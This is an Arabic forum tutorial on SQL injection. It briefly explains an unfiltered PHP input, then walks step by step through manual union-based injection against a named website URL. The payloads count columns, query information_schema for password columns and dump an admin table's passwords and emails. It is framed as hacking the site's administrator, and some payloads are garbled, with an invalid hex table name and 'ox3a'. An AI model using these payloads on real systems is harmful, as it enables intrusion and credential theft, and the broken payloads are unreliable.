بسم الله الرحمن الرحيم
اليوم و في درسنا هذا ريحين نشرح كيفية اكتشاف الثغرات خطوة بخطوة
لتعريف Sql injection : وهي ثغرات تحدث في حال إدخال متغير ما على إستعلام (query) للغة قواعد البيانات mysql ومن ثم توجيه إستعلامات مخصصه لإستغلال مثل هذه الثغرات لنحصل على الهدف النهائي وهو إستخراج المعلومات من قاعدة البيانات بشكل كامل و غير شرعي , ويوجد للثغرة عدة لنذكر إثنين منها :
error based sql injection
blind sql injection
في النوع الأول يكون إستغلال الثغرة ميسر ومن دون اي مشاكل وبسرعه تامه.
اما في النوع الثاني تكون المشاكل في تخمين إسم ونوع الجداول والصفوف مما يؤدي إلا تأخر العمليه (ولكنها تتم بالنهاية).
ومن الجدير بالذكر أيضاً أن هذه الثغرات تستهدف الكثير من اللغات البرمجية مثل php , java , asp , aspx.
نبدء في طريقة White Box والتي سوف نقوم بشرح أكودا الثغرة المكتوبه بلغة Php بالإعتماد على لغة Mysql
نلاحظ في الصورة السابقه ولنشرح المكونات
السكربت يعمل إدراج لملف config.php والذي يتصل بدورة بقواعد البيانات.
السطر رقم 5 نلاحظ تعريف المتغير name بالقيمه المدخله من نوع POST والتي تتمثل بالحقل name.
بالسطر رقم 7 نلاحظ عمل إستعلام (mysql query ) والذي يحاول إختيار جميع الحقول الموجوده في الجدول name ومطابقتها مع المتغير.
بالسطر رقم 14 نشاهد عنوان ومعلومات النموذج (form) وهي قيمه POST كوسيلة لإرسال البيانات ومعالجتها بملف index.php.
لنأتي الأن لشرح تفاصيل الثغرة ومعرفة كيفية حدوثها , نشاهد أن المتغير لم يفلتر ولم يحدد ما هو من قبل المبرمج لذلك يسمع بإدخال جميع الأوامر والتعابير إلى الإستعلام مما يمكن حقن كود يؤدي لحدوث خطأ ينتج عنه ثغرة sql injection يؤدي إلى إستخراج جميع المعلومات الموجوده في خادم قواعد البيانات. هكذا نكون فسرنا الكود وإكتشفنا الثغرة الموجوده بالسكربت بكل سهوله من خلال قرأة المدخلات والتحقق من عدم فلترتها.
الأن لنأتي إلى إستكشاف الصفحه ومن ثم محاولة إستغلال الثغرة, لنلقي الأن نظرة على الفورم من خلال هذه الصورة
نلاحظ وجود فورم بسيط , لنحاول إدخال أي قيمه لنلاحظ ان الفورم لم يحرك ساكن ! ممتاز لنحاول الأن إدخال علامه (‘) single quote ومن ثم ملاحظه ما سوف يحدث من خلال هذه الصورة
حلو الكلام
وفي طريقة اليدوية يعني بدون برامج مثلا
نستخدم الامر
order by
لمعرفه عدد الاعمده المصابه
نبلش من 1
ونزود لحتى يختفي معانا الخطأ
كود:
order by 1--
order by 5--
order by 10--
order by 15--
لاحظ اشاره الناقص في اخر الرابط -- يمكن استبدالها في بعض المواقع بالاشاره */
اي هكذا
order by 15--
هنا ظهر الخطأ
النتيجه تجاوزنا عدد الاعمده المحدد
الحل نبدأ بتقليل عدد الاعمده الى ان يعود الوضع الي ما كان عليه
order by 14
لاحظ الان الموقع تمام
ما فيه ايا خطأ
اذا عدد الاعمده تمام
نضيف الامر التالي
مع الاعمده
union select
ونضيف قبل الرقم علامه الناقص
يصير الرابط هيك
كود:
http://www.the--king.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--
الان لنعرف اصدار القاعده
نكتب
بعض الاوامر
database()
version()
user()
الان نضيف للحقنه
كود:
concat(table_name,0x3a,column_name,0x3a,table_schema)
كود:
+from+information_schema.columns--
فتصبح
كود:
http://www.the--king.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,concat(table_name,0x3a,column_name,0x3a,table_schema),7,8,9,10,11,12,13,14++from+information_schema.columns--
الان نضيف الامر التالي
ههههههههه تفائلو
كود:
where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)
كود:
http://www.the--king.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,concat(table_name,0x3a,column_name,0x3a,table_schema),7,8,9,10,11,12,13,14++from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)--
شوف اخي اطلع ع النتائج بتلقى الجداول المهمه هي
الادمن
اليوزر
بس احنا بدنا نخترق الادمن وهو المتوقع هدفنا يلا نصيده
SurveyAdmins:admin_password:SURVEYS
SurveyAdmins:admin_md5_password:SURVEYS
انتو شايفين عنا خيارين الاول هو الي مطلوب نشوف كيف نعمل
ندخل لي هذا الموقع
تشفير اسم الجدول وعنا اسم الجدول هو مثلا SurveyAdmins نوع التشفير هو مثلا
كود:
MySql hex-encoded string
يصير الان بحث من اسم هدا الجدول وذلك من خلال الامر where+table_name= يعني هيك
كود:
where+table_name=0x15248796335b5tr55
الاستغلال
كود:
http://www.the--king.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,concat(table_name,0x3a,column_name,0x3a,table_schema),7,8,9,10,11,12,13,14++from+information_schema.columns+where+table_name=0x0x15248796335b5tr55--
ما شاء الله طلع لنا خيارات كثيره الان خلينا نجمع الاستغلال اسم الجدول SurveyAdmins
نجمعها كلها مع بعض بالامر concat وبتصير هيك concat(name,0x3a,pass)[/COLOR]
كود:
;admin_id;admin_fname;admin_lname;admin_md5_password;admin_password ;admin_email;admin_perm;
نجمعهم الامر
كود:
concat(admin_id,0x3a,admin_fname,0x3a,admin_lname,0x3a,admin_md5_password,0x3a,admin_password ,0x3a,admin_email,ox3a,admin_perm)
نركبه بالحقنه
كود:
http://www.the--king.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,concat(admin_id,0x3a,admin_fname,0x3a,admin_lname,0x3a,admin_md5_password,0x3a,admin_password ,0x3a,admin_email,0x3a,admin_perm),7,8,9,10,11,12,13,14+from+SURVEYS.SurveyAdmins--
انتهى الجزء اول من شرح ثغرات انتضرونا في الحلقة القادمة ان شاءالله